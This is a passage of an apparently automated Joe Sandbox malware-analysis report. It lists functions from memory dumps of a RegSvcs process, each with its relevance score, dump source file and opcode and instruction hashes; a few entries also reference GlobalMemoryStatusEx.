Instruction Fuzzy Hash: A47102707103109FD749AB74E94876A7B66BBC8704F24896AD502EF394CF71DE498BC1

Function 02BF8140 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f1fcbb4f6c374e992d40c4d107e7a574809e2004678bb75f8ffa4ee8c4cf8c
Instruction ID: 9e6daedce7d144b3585c2e9d904c7d8cb2de163f61b70b46784dfdedac298bea
Opcode Fuzzy Hash: d9f1fcbb4f6c374e992d40c4d107e7a574809e2004678bb75f8ffa4ee8c4cf8c
Instruction Fuzzy Hash: B67100707103109BD749AB74E94875A7B66BBC8704F24896AD902EF394CF72DE498BC1

Function 05600EF8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 786ef0e38cd7a015de073cc530f8ddcea293768a420bd9ecd5fe149c54a27303
Instruction ID: cf01838f190309aba7b8c2c100150800b13c2a3d1570f1288e81a57e119980e4
Opcode Fuzzy Hash: 786ef0e38cd7a015de073cc530f8ddcea293768a420bd9ecd5fe149c54a27303
Instruction Fuzzy Hash: 7A71FE357102008FC35DEB38D948B2B77A7BBC9314B61956AE805DB794DB31DD06CB92

Function 02BFE8A8 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432858c2181cefc806cb2ad4b8e8ce6bf4c076cf8d4113ae0457454873d8540f
Instruction ID: 3633c7538e79ae76e93cd5e1267826adf7d05e983440409a50bd5f7f4818ba82
Opcode Fuzzy Hash: 432858c2181cefc806cb2ad4b8e8ce6bf4c076cf8d4113ae0457454873d8540f
Instruction Fuzzy Hash: D261B231E00609CFCB94EBB9D54426DBBB2FF84200F1185AAD515AB364DB31ED2ACB81

Function 05600FAE Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9c24fac67dd6ea57b5e5563d1a4ed12e19773ee91b46395d72afe00eb15124
Instruction ID: 220cf2780e9e1767b8ba994f711c684bfab49b3ff76bb91bbb6a471a8fe624b9
Opcode Fuzzy Hash: ad9c24fac67dd6ea57b5e5563d1a4ed12e19773ee91b46395d72afe00eb15124
Instruction Fuzzy Hash: 8361FD35710200CFC35DEB28DA48B2B77A7BBC9314B65959AE805DB794EB30DD06CB92

Function 02BF4014 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16631d869a712c465cca8c24f47c217d665d280868dfd0effff454852bafa2f0
Instruction ID: 9644e2bc9a7a170aa4f017d92eb973b0b307a3aa374ce2fe060500b4b1160230
Opcode Fuzzy Hash: 16631d869a712c465cca8c24f47c217d665d280868dfd0effff454852bafa2f0
Instruction Fuzzy Hash: D2616775B043818FD7898B7484647AFBFB3AFD5200B6984AAD682DB342DB30CC42C790

Function 02BF6E20 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6250ad7d73d534555110085c60a55a44bb39b58867a52c85ade1d4a02ea5b62d
Instruction ID: b87c90b96e099e37938cac4b526fb8810292e27d97c8921fc40978d6b846d8d6
Opcode Fuzzy Hash: 6250ad7d73d534555110085c60a55a44bb39b58867a52c85ade1d4a02ea5b62d
Instruction Fuzzy Hash: AB517B32B042958FC7898B74C5501AFBFBBBFCA200B5544AAD961EB391EB31CD05CB91

Function 02BF6140 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a4010c9cc6766b5e7e860209280c0ea1448d119f02096f2d13102aafa31133
Instruction ID: 00b91f3087ca4d7b2cf72c56c93be61f241f1a0af042d25897b7cf3c2497ae1b
Opcode Fuzzy Hash: 25a4010c9cc6766b5e7e860209280c0ea1448d119f02096f2d13102aafa31133
Instruction Fuzzy Hash: 256144757003418FD758BF78E85C26ABBB6FBC8200745896AD926DB388DF309D49CB81

Function 02BF7A18 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28ded0d5cb4d9c9c0bb82befea06566ede7a207e0f74bef0b21f1f007e82364f
Instruction ID: 2d486d6d40c9f9391859069ad1646a98867e187908ce0ec28c2883f47ba17093
Opcode Fuzzy Hash: 28ded0d5cb4d9c9c0bb82befea06566ede7a207e0f74bef0b21f1f007e82364f
Instruction Fuzzy Hash: 1751FF34B041058FD7949B68D49875AF7B2EB88310F1489EAD606EB385DF71CC95CB80

Function 02BF0F00 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76986b56173e616dd198cb23f7f0726bee58614e8e22de217abe1d3a5aaa2969
Instruction ID: accfe045e57b89cbdd363eb63586d375288bd44be6f5b9f34fea9fcc7b39acf8
Opcode Fuzzy Hash: 76986b56173e616dd198cb23f7f0726bee58614e8e22de217abe1d3a5aaa2969
Instruction Fuzzy Hash: 5D513471B1024A8FCB489BB8C4546AEFBF2FF99300F1544AAD555AB3A6D7308D06CB91

Function 02BF6133 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9bf3b761da8bf14c8ae8d4d5413167d57e32f88efee569b6d0828c59ecbf90e
Instruction ID: c5ffa4026af5b7a61a8fa0dac99219aad73a135b2479009ea8c12f29c4d43433
Opcode Fuzzy Hash: b9bf3b761da8bf14c8ae8d4d5413167d57e32f88efee569b6d0828c59ecbf90e
Instruction Fuzzy Hash: 1051F5746002448FD758BB74E85C26E7BB6FBC8201741897AD526DB398DB309D49CB91

Function 02BFE0A0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76f6a3d2332bab42873746e19ff1d58437b93939cc373108d99c8c8dd1bdc3a
Instruction ID: f9fba1afccbe1cedf9958e76311db569dc36831cb522bca6dcd370f6f75d3cf8
Opcode Fuzzy Hash: b76f6a3d2332bab42873746e19ff1d58437b93939cc373108d99c8c8dd1bdc3a
Instruction Fuzzy Hash: 73512831B002148BDBD8AA78991537E76A79BC9251B1488B7D702EB764EF30CD19CB92

Function 02BFE091 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d166518a62527fba3ba09f9bade80d871970b646ad862aeb69c42466038974c
Instruction ID: ab30ac4344e56c64f326131377e0df0ce3cf1fabbd84c65fecbf15e7715d259b
Opcode Fuzzy Hash: 9d166518a62527fba3ba09f9bade80d871970b646ad862aeb69c42466038974c
Instruction Fuzzy Hash: 0B514B31B041148BDBD85A78991537E76A3DBC9250F1488A7D702EB364EF30CD19CB92

Function 02BF6E10 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c4ab8330112a4efb33e4b25a482379a06368f34931989372d8a8f08f22ff298
Instruction ID: 594952859eab98b2a0f134861af91cff192932f76ab8089db8da6a10349156c9
Opcode Fuzzy Hash: 6c4ab8330112a4efb33e4b25a482379a06368f34931989372d8a8f08f22ff298
Instruction Fuzzy Hash: 2051D632B042568FCB88CB74C5506AFBBBABF89600F5094AAD916FB354DB31DD05CB91

Function 02BF0F88 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69c9daad2ad96e0faf9a1eb60f3d8a46b8b21dc4357c9bf60a4ca5874997d3a7
Instruction ID: 1c7397cb819031a6b87f283e395007d162a96932b10705e029526cffaf351df6
Opcode Fuzzy Hash: 69c9daad2ad96e0faf9a1eb60f3d8a46b8b21dc4357c9bf60a4ca5874997d3a7
Instruction Fuzzy Hash: 9241D871B1021A8FCB48DB68C454AAEFBF6FB88300F11846AD515BB765CB308D05CB91

Function 02BF6A10 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10b65cf7e3e89ad01dabd467d2eff9d6f783c3c759571c60264aedf5183b233
Instruction ID: cfe1f0caeab1f60d1d39b3a60dc3b914d585caf8197f48c8ab849d6ecb26a5c0
Opcode Fuzzy Hash: b10b65cf7e3e89ad01dabd467d2eff9d6f783c3c759571c60264aedf5183b233
Instruction Fuzzy Hash: 28518074E002069FDB49DBB4D8556AEBBB6EBC8300F20C469C526EB359EB309E45CF50

Function 02BF6A20 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e30d9ef0087d631d287f1bed3f51fdcea1c57b945f689381e32fb8e90462dc9
Instruction ID: adbc5edfcd58fd731dd63c2678bc982beefe5e78492d9b630556a4a7853a99f7
Opcode Fuzzy Hash: 2e30d9ef0087d631d287f1bed3f51fdcea1c57b945f689381e32fb8e90462dc9
Instruction Fuzzy Hash: 8B418274E102069FDB48DBA4D9556AEBBB6FBC8300F10C469C526EB359EB309A41CF50

Function 02BF641B Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f36cb298f5d89eb8526028317dfbfdccbee5506f9784ebbe1da5368976066d38
Instruction ID: 926a15a09bcc8cbcd83c3085f619b008b395cbee9cd7ba7da3d1205dc9cdbf1e
Opcode Fuzzy Hash: f36cb298f5d89eb8526028317dfbfdccbee5506f9784ebbe1da5368976066d38
Instruction Fuzzy Hash: 1941D471B102098FCB48DFB4C995AAEBBFAFF8D600F14446AD605EB3A5CA319D05CB50

Function 02BF7830 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca8969107f0cc6b216eaef4a5d6410565f088837aa0a7f3f951fc7f148e221b
Instruction ID: c739eb552db7b6508f9223c4d904d4594cfb9b780f7ed451993c686ec376b579
Opcode Fuzzy Hash: 6ca8969107f0cc6b216eaef4a5d6410565f088837aa0a7f3f951fc7f148e221b
Instruction Fuzzy Hash: FB419C75B501108FC789EF29D908A5AF7B1FB8D610B1684EBDA06DB3A4DB30DC15DB41

Function 056006D0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68605dd9ecb504d340d938a7132948244cb60d39bf742e192f33479cd2a6cde7
Instruction ID: e2c2fc684e2e6c91be9ee8637eb2c093540c12c54acac2cd69fc3aa535708438
Opcode Fuzzy Hash: 68605dd9ecb504d340d938a7132948244cb60d39bf742e192f33479cd2a6cde7
Instruction Fuzzy Hash: 9D313171B182458FD719DB68A95C367BBA7FBC822074A9563D409CB7C9CA34CC42CB91

Function 02BF625F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a96b3b3b51bfd8693223b69e88e520d3deaf631b1ada1b5540ef7fe6c4b81b4
Instruction ID: e7e3e7040492858e9b0ebb6205638a15d16df844fc988fdbf1d65fff5cb0e3c4
Opcode Fuzzy Hash: 9a96b3b3b51bfd8693223b69e88e520d3deaf631b1ada1b5540ef7fe6c4b81b4
Instruction Fuzzy Hash: F73147727007048BD798AF7899441AE7BB6FBC81107949A7EC63AEB780DF30C948C751

Function 056006C0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc3c39998d93b1565a8ffe531803ff582b058b4217ce252c7aba31def1ee5fb
Instruction ID: 1747f47f95162bc1dcec77f92728576eb4739af6f9a9482c909fb709d813cba1
Opcode Fuzzy Hash: 1fc3c39998d93b1565a8ffe531803ff582b058b4217ce252c7aba31def1ee5fb
Instruction Fuzzy Hash: 00313F71A181058FD758DBA8A95C3B7BBA7FBC822074A952BD009CB384C634CC42CB81

Function 05600AF8 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd2eceb466a1eb1cb67dca53363e54d55f7b0a9351f3c2ae23307757486cb04
Instruction ID: 5d8ef6fcc97d211a1967256c221af6c8a5eeb0bb522060e5241230cade25cfd3
Opcode Fuzzy Hash: 9fd2eceb466a1eb1cb67dca53363e54d55f7b0a9351f3c2ae23307757486cb04
Instruction Fuzzy Hash: 0B21E131B2021D9BD398EA39580973F76D7F788320F946466E909DB280EB31DC46C7D2

Function 05600961 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: addd9695ee84ced0a82ac2e4a940bb4cbc4b5ef5ecfdf2bf75d613e2cef5c25d
Instruction ID: 9671a4a23bcd27f00ed2eaf19a7e7e1717889e82e52501b0045d0900e761d1d4
Opcode Fuzzy Hash: addd9695ee84ced0a82ac2e4a940bb4cbc4b5ef5ecfdf2bf75d613e2cef5c25d
Instruction Fuzzy Hash: D93159347142148BE788AB7D980972FFAABAFD5220F84651B9512D73D4CF70C9028B81

Function 02BFD401 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eac486674235feb42a0fa7908010d29ecd40088d1061ca0289a25bc9ae0ae45
Instruction ID: 87422106efcb49f27e6b69be297c7013e31f09e5732bce4f03f19f62da61c546
Opcode Fuzzy Hash: 0eac486674235feb42a0fa7908010d29ecd40088d1061ca0289a25bc9ae0ae45
Instruction Fuzzy Hash: D9214531F182478BEB9CCA7998847ADB6E3EBC8314F1881B6DB05E7294D731EC58C645

Function 02BF75F0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b812349772a2638493563ba9c28e7eead140ad8de634049bcea9ae11aa1fe3e
Instruction ID: ca8f2411ee20c0b4c222ce69bf5e6fcaf1b01b0f61aaa8276a0ab6682696a3b8
Opcode Fuzzy Hash: 0b812349772a2638493563ba9c28e7eead140ad8de634049bcea9ae11aa1fe3e
Instruction Fuzzy Hash: E9214DB0E15645EFC799DFA9954518EFBF2BBC9200F24C8EBC005D7218E6708A569B40

Function 02BF7600 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3710d488b3e2064fdac06869d03d9e001e60642608dd407c9ccaf2a8b5d033c2
Instruction ID: 08b45030fab8dcf651203eae3e61ece1adbf8bfe1dbfdd1264d5f93f8c412919
Opcode Fuzzy Hash: 3710d488b3e2064fdac06869d03d9e001e60642608dd407c9ccaf2a8b5d033c2
Instruction Fuzzy Hash: F5213EB0E15605EFC788DF69D64514EFBF6BBC8200F24C8EB8105D7218EB709B469B40

Function 02BFEE98 Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 351ce3a60c9e2dbdc0366a9e9199388fecc6ea63e6d8c7fe8b24ea02f90c7062
Instruction ID: ff86ea688c8a5fd95a99e334d19faf07c1b2b2e2276955400438807de437c254
Opcode Fuzzy Hash: 351ce3a60c9e2dbdc0366a9e9199388fecc6ea63e6d8c7fe8b24ea02f90c7062
Instruction Fuzzy Hash: 0A411232D043998FDB14DFBAD8007AABBF5EF89210F1485AAE518A7350DB749845CBE1

Function 02BFE5F8 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,02BFEEEA), ref: 02BFEFD7

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 29a14127cdef3af1bc2c7d977461b83c6c1c4b84830ac2d44b8a577484a9a09e
Instruction ID: be330028325f813eb50bcbf999dd54cc8edc9d6c254b74770c7f991616e9ed9a
Opcode Fuzzy Hash: 29a14127cdef3af1bc2c7d977461b83c6c1c4b84830ac2d44b8a577484a9a09e
Instruction Fuzzy Hash: 761106B1C0065A9BDB10DF9AC444BAEFBF4EF48620F11816AE514B7250D778A944CFE5

Function 02BFEF68 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,02BFEEEA), ref: 02BFEFD7

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 13d0de4a51768d621ad656b7eff523ac422fa5b5e35bc682f51c44d910452e6c
Instruction ID: 57261cf99716127b7b3837fbbf1b9f75c3d3589bfd7ff640aa56e0794376ba3a
Opcode Fuzzy Hash: 13d0de4a51768d621ad656b7eff523ac422fa5b5e35bc682f51c44d910452e6c
Instruction Fuzzy Hash: 201130B1C0025A9BDB10DFAAC444B9EFBF4EB48720F15816AE918A3240D378A914CFA1

Function 05605809 Relevance: .4, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39507bb68d9e59e2766eb71f4bcdf065891b19c1ce110a794fe80f0a7ec9830
Instruction ID: a384479630d101f8ea1d7fa7be2970fed6ed3e484870d22c00914680b6a88283
Opcode Fuzzy Hash: f39507bb68d9e59e2766eb71f4bcdf065891b19c1ce110a794fe80f0a7ec9830
Instruction Fuzzy Hash: 6CE17D307042108FDB1CAB29C968B3A7BAAFF99600F14586AE507CB7E1DB65DC42CF55

Function 056040D0 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b1e1287ee94a54d41bbc0b80f9000ed5a43e66c7261f47c03eaec5b0432333
Instruction ID: b8e8fa2a2371223c1874bf614e3138b9dc2e3d2e6abf93290530748b5d6c7f7e
Opcode Fuzzy Hash: 44b1e1287ee94a54d41bbc0b80f9000ed5a43e66c7261f47c03eaec5b0432333
Instruction Fuzzy Hash: EF022A30A14109DFCF29CF68D584E6BBBB2FF88302F159654E906AB391DB30E991CB51

Function 05605DA0 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2781774272021a1922ddf8b5317e84a8bfd04befaeefd0f8119fef3a3b252198
Instruction ID: a86839ad04501f875d07ee2b74b8dbe3402df8a8cb4f9595f0fd6cbf87fcaee9
Opcode Fuzzy Hash: 2781774272021a1922ddf8b5317e84a8bfd04befaeefd0f8119fef3a3b252198
Instruction Fuzzy Hash: 18F11F71E002159FCB18CF6CC988AAEB7F6FF89310B159599E415AB3A1CB71EC51CB50

Function 05609670 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d219bd5331db0cf6e5a13e52af53d2485bf9277de411cc1dcb8193511d40e6
Instruction ID: 33a976331cd7a8a7ed622860ca8e11607f1c7e7207ecf2dabe6793d8b18f8897
Opcode Fuzzy Hash: e5d219bd5331db0cf6e5a13e52af53d2485bf9277de411cc1dcb8193511d40e6
Instruction Fuzzy Hash: ACE13E34A00209DFDB09EBA8D858BAEBBB7FBC8310F158459D806A7395DB319E41DB51

Function 056002AD Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6c68dc52f225859197c01b35a2aa078836423badc993bd70f3ecf83d5c30cf
Instruction ID: 1bd7e2dd6deb616b3f0607691945de1fbf955b9b984f2c6fdf85c4c8538763d4
Opcode Fuzzy Hash: ff6c68dc52f225859197c01b35a2aa078836423badc993bd70f3ecf83d5c30cf
Instruction Fuzzy Hash: 50E0D8323082901BD705575D5C50E1BAFA5EFCA360F05486AF484D3212C5105816D3A1

Function 05602428 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f16144e64b27f25c39175ff727577adce274b9e80bfcf11d1a2aacb6789b9e
Instruction ID: 776aec205f5790304020b8779d67ef33e89189b71ca968a31c1c4519760663c5
Opcode Fuzzy Hash: 13f16144e64b27f25c39175ff727577adce274b9e80bfcf11d1a2aacb6789b9e
Instruction Fuzzy Hash: C4C1AD387042519FDB1A9F65C8ACB3F7BA6BF89604F148569E8068B395CF35CC42CB91

Function 056048D0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8031718f1ceb2cec4c6908387e64e07b98e03e73c0501415a61868d4d3875c7
Instruction ID: 2f95832ae91c2d1e9c6b44a052abbf4f167835bfc1379ed10e0b19029af6f988
Opcode Fuzzy Hash: f8031718f1ceb2cec4c6908387e64e07b98e03e73c0501415a61868d4d3875c7
Instruction Fuzzy Hash: FF616D317041159FDF28DF3AC884A6B77EABF88642705546AEA56CB3A5EF20DC11CB50

Function 05601071 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

